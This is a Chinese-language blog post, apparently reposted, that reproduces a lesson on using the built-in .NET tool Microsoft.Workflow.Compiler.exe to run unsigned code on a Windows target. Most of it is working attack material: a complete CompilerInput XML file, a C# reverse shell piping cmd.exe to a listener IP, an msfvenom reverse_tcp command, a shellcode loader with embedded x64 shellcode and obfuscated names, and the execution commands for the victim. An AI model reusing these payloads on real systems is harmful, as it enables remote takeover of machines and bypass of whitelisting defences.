復現亮神課程

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0x01 Compiler前言

說明:Microsoft.Workflow.Comiler.exe是.NET Framework默認自帶的一個實用工具，用戶能夠以XOML工作流文件的形式提供一個序列化工作流來執行任意未簽名的代碼。

Microsoft.Workflow.Comiler.exe需要兩個命令行參數，第一個參數必須是一個XML文件（由一個序列化CompilerInput對象構成）的路徑，第二個參數則是寫入序列化編譯結果的文件路徑。

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Windows 7 默認位置：

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe

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0x02 執行流程

攻擊流程如下：

1.將制作的XOML文件存儲到目標磁盤中，XOML文件中應包含攻擊者提供的C#或VB.Net代碼以供編譯、加載和調用。攻擊邏輯需在類構造函數中實現，該類派生自System.Workflow.ComponetModel.Activity類。

2.將包含序列化CompilerInput對象的XML文件存儲到目標磁盤中。

3.提供XML路徑，執行Microsoft.Workflow.Comiler.exe。

下面給出的是Microsoft.Workflow.Comiler.exe的調用樣例：

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exetest.xml results.xml

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0X03 復現攻擊

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攻擊機 kali

靶機 win7

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A)windows/x64/shell/reverse_tcp

MSF監聽:

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Test.xml:

<?xml version="1.0" encoding="utf-8"?><CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler"><files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><d2p1:string>1.cs</d2p1:string></files><parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler"><assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName><embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable><generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory><includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation><linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName><tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors><warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel><win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><d2p1:checkTypes>false</d2p1:checkTypes><d2p1:compileWithNoCode>false</d2p1:compileWithNoCode><d2p1:compilerOptions i:nil="true" /><d2p1:generateCCU>false</d2p1:generateCCU><d2p1:languageToUse>CSharp</d2p1:languageToUse><d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" /><d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" /><d2p1:mtInfo i:nil="true"/><d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" /></parameters></CompilerInput>

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?X.tcp(我們要執行的c# shellcode)：

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using System; using System.Text; using System.IO; using System.Diagnostics; using System.ComponentModel; using System.Net; using System.Net.Sockets; using System.Workflow.Activities;public class Program : SequentialWorkflowActivity{static StreamWriter streamWriter;public Program(){using(TcpClient client = new TcpClient("192.168.190.141", 5555)){using(Stream stream = client.GetStream()){using(StreamReader rdr = new StreamReader(stream)){streamWriter = new StreamWriter(stream);StringBuilder strInput = new StringBuilder();Process p = new Process();p.StartInfo.FileName = "cmd.exe";p.StartInfo.CreateNoWindow = true;p.StartInfo.UseShellExecute = false;p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardInput = true;p.StartInfo.RedirectStandardError = true;p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);p.Start();p.BeginOutputReadLine();while(true){strInput.Append(rdr.ReadLine());p.StandardInput.WriteLine(strInput);strInput.Remove(0, strInput.Length);}}}}}private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine){StringBuilder strOutput = new StringBuilder();if (!String.IsNullOrEmpty(outLine.Data)){try{strOutput.Append(outLine.Data);streamWriter.WriteLine(strOutput);streamWriter.Flush();}catch (Exception err) { }}}}

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靶機執行 ?

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml res.xml

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也可以用nc：

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B)?結合meterpreter

注：payload.cs需要用到System.Workflow.Activities

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生成木馬

msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.190.141 lport=4444 -f csharp

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Msf監聽:

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1.cs：

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using System; using System.Workflow.Activities; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; class yrDaTlg : SequentialWorkflowActivity { [DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr DStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVpSg);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB);[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);public yrDaTlg() {byte[] QWKpWKhcs ={0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00, 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5, 0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0xbe,0x8d,0x41,0x54,0x49,0x89,0xe4, 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a, 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89, 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5, 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba, 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5, 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9, 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5, 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41, 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41, 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31, 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8, 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40, 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5, 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c, 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41, 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5};IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04);Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length);IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTfwBS = IntPtr.Zero;uint BnhanUiUJaetgy;bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy);oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi);WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);}}

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靶機執行:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml 1.txt

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轉載于:https://www.cnblogs.com/-qing-/p/10787819.html

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